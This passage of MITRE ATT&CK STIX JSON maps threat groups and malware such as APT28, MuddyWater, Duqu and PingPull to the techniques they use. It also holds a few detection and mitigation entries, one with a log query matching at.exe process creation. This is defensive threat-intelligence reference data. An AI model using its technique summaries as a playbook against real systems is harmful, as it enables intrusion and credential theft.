"relationship--8c677ccc-427f-43b8-a7b8-0c7a00001b9b", "created": "2022-01-11T14:58:01.851Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Prevailion DarkWatchman 2021", "url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/", "description": "Smith, S., Stafford, M. (2021, December 14). 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Retrieved June 29, 2021."}], "modified": "2021-06-30T14:41:24.467Z", "description": "[Naikon](https://attack.mitre.org/groups/G0019) has used schtasks.exe for lateral movement in compromised networks.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8ccf5cfb-df98-44e0-afb7-6e2d6c699944", "type": "relationship", "created": "2020-02-12T18:57:58.597Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-12T18:57:58.597Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8cdfc8e4-b657-4ae9-b9ee-9b6107fae796", "type": "relationship", "created": "2017-05-31T21:33:27.046Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-epic-turla-operation/65545/", "description": "Kaspersky Lab's Global Research and Analysis Team. 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Retrieved September 14, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "[TinyZBot](https://attack.mitre.org/software/S0004) can create a shortcut in the Windows startup folder for persistence.(Citation: Cylance Cleaver)", "modified": "2022-07-22T18:37:22.197Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8cecace8-2820-4489-b3e8-baf4b9f33ff3", "type": "relationship", "created": "2019-01-30T17:33:40.941Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec MuddyWater Dec 2018", "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group", "description": "Symantec DeepSight Adversary Intelligence Team. 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Retrieved December 14, 2018."}], "modified": "2020-03-30T02:33:36.223Z", "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used the native Windows cabinet creation tool, makecab.exe, likely to compress stolen data to be uploaded.(Citation: Symantec MuddyWater Dec 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8cfc4444-a2bd-4553-8a26-9018cb561705", "created": "2022-09-29T20:01:34.551Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DHS CISA AA22-055A MuddyWater February 2022", "description": "FBI, CISA, CNMF, NCSC-UK. (2022, February 24). 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Retrieved September 27, 2022.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-12T16:18:06.825Z", "description": "[STARWHALE](https://attack.mitre.org/software/S1037) has relied on victims opening a malicious Excel file for execution.(Citation: DHS CISA AA22-055A MuddyWater February 2022)", "relationship_type": "uses", "source_ref": "malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8cfcd467-dca8-48ae-a6ba-764043a21bcd", "created": "2023-05-23T20:37:55.568Z", "revoked": false, "external_references": [{"source_name": "Mandiant Suspected Turla Campaign February 2023", "description": "Hawley, S. et al. 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Retrieved July 16, 2020."}], "modified": "2021-11-22T15:05:08.742Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has used ListPlanting to inject code into a trusted process.(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8d07ed87-6692-4010-8c94-c12cbf3885ca", "type": "relationship", "created": "2021-07-27T14:27:32.017Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021", "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF", "description": "NSA, CISA, FBI, NCSC. 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Retrieved July 26, 2021."}], "modified": "2021-07-27T14:27:32.017Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has collected files from various information repositories.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8d0d938e-2e4c-49e8-9290-6bfb86161260", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf", "description": "Symantec Security Response. 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Retrieved September 17, 2015.", "source_name": "Symantec W32.Duqu"}], "modified": "2019-04-24T23:18:53.238Z", "description": "[Duqu](https://attack.mitre.org/software/S0038) uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.(Citation: Symantec W32.Duqu)", "relationship_type": "uses", "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8d12dc63-d18a-43ef-b4bb-f4e9f67d2251", "type": "relationship", "created": "2021-03-08T13:57:39.066Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", "description": "USG. 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Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.", "url": "https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T20:43:26.617Z", "description": "For [C0010](https://attack.mitre.org/campaigns/C0010), the threat actors compromised the login page of a legitimate Israeli shipping company and likely established a watering hole that collected visitor information.(Citation: Mandiant UNC3890 Aug 2022)", "relationship_type": "uses", "source_ref": "campaign--ab747e62-1bcb-479f-a26b-1cd39d413d81", "target_ref": "attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--8d1a56fa-bf5b-4d06-b63b-fa91dc3f67c8", "created": "2022-03-21T22:57:40.669Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Objective See Green Lambert for OSX Oct 2021", "url": "https://objective-see.com/blog/blog_0x68.html", "description": "Sandvik, Runa. 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Retrieved March 21, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Green Lambert](https://attack.mitre.org/software/S0690) can obtain proxy information from a victim's machine using system environment variables.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021) ", "modified": "2022-04-20T18:13:15.246Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--59c8a28c-200c-4565-9af1-cbdb24870ba0", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8d1da663-a3eb-4464-9be1-b43b8671e599", "type": "relationship", "created": "2020-11-06T18:40:38.326Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/", "description": "Falcone, R., et al. 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Retrieved March 5, 2021."}], "modified": "2021-03-15T17:16:08.907Z", "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) has used FakeTLS for session authentication.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)", "relationship_type": "uses", "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--8dacfb46-73ca-4cd0-91a1-11c6285e0fb5", "created": "2022-04-14T20:02:10.139Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container as well as within the underlying host.", "modified": "2022-04-14T20:02:10.139Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8dad8f08-ade1-4a1b-a8e5-718c94afc585", "type": "relationship", "created": "2019-06-18T17:20:43.776Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Carbon Black JCry May 2019", "url": "https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/", "description": "Lee, S.. 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Retrieved May 26, 2020."}], "modified": "2020-06-25T13:59:09.612Z", "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has executed custom-compiled XMRIG miner DLLs by configuring them to execute via the \"wercplsupport\" service.(Citation: RedCanary Mockingbird May 2020)\t", "relationship_type": "uses", "source_ref": "intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8dcf9179-ea86-499b-9624-8627e042bd42", "type": "relationship", "created": "2022-03-30T14:26:51.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.843Z", "description": "Monitor for direct access read/write attempts using the <code>\\\\\\\\.\\\\</code> notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Sysmon v6 May 2017", "description": "Russinovich, M. & Garnier, T. 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Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"}, {"source_name": "RATANKBA", "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. 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(2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018."}], "modified": "2020-06-23T20:41:28.698Z", "description": "[Xbash](https://attack.mitre.org/software/S0341) can execute malicious JavaScript payloads on the victim\u2019s machine.(Citation: Unit42 Xbash Sept 2018)", "relationship_type": "uses", "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8dd83463-b0cb-46e9-a01a-b22c6780066f", "type": "relationship", "created": "2020-05-21T21:31:34.273Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Pony April 2016", "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}], "modified": "2020-06-15T21:31:38.116Z", "description": "[Pony](https://attack.mitre.org/software/S0453) has collected the Service Pack, language, and region information to send to the C2.(Citation: Malwarebytes Pony April 2016)\t", "relationship_type": "uses", "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8dd9d97d-0eb1-4e17-94ac-5589db51f878", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Shamoon Nov 2016", "description": "FireEye. (2016, November 30). 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Retrieved December 22, 2020."}], "modified": "2020-12-23T13:37:53.541Z", "description": "[DropBook](https://attack.mitre.org/software/S0547) can unarchive data downloaded from the C2 to obtain the payload and persistence modules.(Citation: Cybereason Molerats Dec 2020) ", "relationship_type": "uses", "source_ref": "malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--8e2cd29d-5d72-450d-8697-d7121e1b2e8d", "created": "2022-04-18T13:58:40.727Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "GitHub SILENTTRINITY Modules July 2019", "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo", "description": "Salvati, M. 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Retrieved March 24, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) can collect clear text web credentials for Internet Explorer/Edge.(Citation: GitHub SILENTTRINITY Modules July 2019)", "modified": "2022-04-18T13:58:40.727Z", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8e324a04-e543-4eed-bf21-cdf446d8f8f6", "type": "relationship", "created": "2020-05-18T20:04:59.455Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro POWERSTATS V3 June 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", "description": "Lunghi, D. and Horejsi, J.. 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Retrieved May 14, 2020."}], "modified": "2020-05-18T20:04:59.455Z", "description": "[SHARPSTATS](https://attack.mitre.org/software/S0450) has the ability to employ a custom PowerShell script.(Citation: TrendMicro POWERSTATS V3 June 2019)", "relationship_type": "uses", "source_ref": "malware--73c4711b-407a-449d-b269-e3b1531fe7a9", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8e34d10d-0c24-41c6-8bde-727768256479", "type": "relationship", "created": "2020-08-13T14:58:25.121Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks Karagany July 2019", "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector", "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}], "modified": "2020-08-13T14:58:25.121Z", "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can inject a suspended thread of its own process into a new process and initiate via the <code>ResumeThread</code> API.(Citation: Secureworks Karagany July 2019)", "relationship_type": "uses", "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", "target_ref": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8e3949cd-d3cf-47a6-ae5c-6afdff8c04d0", "type": "relationship", "created": "2022-03-30T14:26:51.871Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.871Z", "description": "Monitor executed commands and arguments that may perform sudo caching and/or use the suoders file to elevate privileges, such as the <code>sudo</code> command.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8e5310df-b8df-49da-9ae0-dc6c3806e706", "created": "2024-03-28T20:34:30.805Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge Part 3 February 2024", "description": "Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-17T20:42:11.799Z", "description": "[PITSTOP](https://attack.mitre.org/software/S1123) has the ability to receive shell commands over a Unix domain socket.(Citation: Mandiant Cutting Edge Part 3 February 2024)", "relationship_type": "uses", "source_ref": "malware--d79b1800-3b5d-4a4f-8863-8251eca793e2", "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8e567361-e2de-4dc6-b953-ec82dc143f58", "type": "relationship", "created": "2019-06-21T16:28:45.467Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-01-05T21:40:28.428Z", "description": "If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity.", "relationship_type": "mitigates", "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8e620d3d-6766-4f26-a6ae-d7fd1276916f", "type": "relationship", "created": "2020-02-17T13:14:31.437Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-04-01T18:25:13.909Z", "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.", "relationship_type": "mitigates", "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", "target_ref": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8e685821-98a3-42a0-9c6a-334a8ff078d4", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques", "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. 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Retrieved April 23, 2019."}], "modified": "2019-06-24T17:20:24.377Z", "description": "[jRAT](https://attack.mitre.org/software/S0283) can list security software, such as by using WMIC to identify anti-virus products installed on the victim\u2019s machine and to obtain firewall details.(Citation: jRAT Symantec Aug 2018)(Citation: Kaspersky Adwind Feb 2016)", "relationship_type": "uses", "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8e69c855-db70-4b5e-866b-f9ce0b786156", "type": "relationship", "created": "2017-05-31T21:33:27.078Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Citizen Lab Group5", "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", "url": "https://citizenlab.ca/2016/08/group5-syria/"}], "modified": "2019-07-25T17:52:06.542Z", "description": "Malware used by [Group5](https://attack.mitre.org/groups/G0043) is capable of watching the victim's screen.(Citation: Citizen Lab Group5)", "relationship_type": "uses", "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--8e6b0e34-a33c-4a04-bbe8-bb1b73894167", "created": "2022-03-30T14:26:51.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T17:57:29.630Z", "description": "Monitor for newly executed processes that may be indicative of credential dumping. On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nNote: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic looks for any instances of [at](https://attack.mitre.org/software/S0110) being created, therefore implying the querying or creation of tasks. If this tools is commonly used in your environment (e.g., by system administrators) this may lead to false positives and this analytic will therefore require tuning. \n\nAnalytic 1 - Suspicious Process Execution\n\n<code> (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND Image=\"*at.exe\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--8e6cbb16-a5cb-4957-8654-dfde2471c3de", "type": "relationship", "created": "2020-06-11T16:28:58.231Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Telebots July 2017", "url": "https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/", "description": "Cherepanov, A.. (2017, July 4). Analysis of TeleBots\u2019 cunning backdoor . Retrieved June 11, 2020."}], "modified": "2020-06-11T16:28:58.231Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) used a backdoor which could execute a supplied DLL using rundll32.exe.(Citation: ESET Telebots July 2017)\t", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--8e6e2f98-695a-462b-b9b1-c3d0c453e471", "created": "2022-08-09T18:28:31.261Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Unit 42 PingPull Jun 2022", "url": "https://unit42.paloaltonetworks.com/pingpull-gallium/", "description": "Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[PingPull](https://attack.mitre.org/software/S1031) has the ability to install itself as a service.(Citation: Unit 42 PingPull Jun 2022)", "modified": "2022-08-09T18:38:23.986Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": 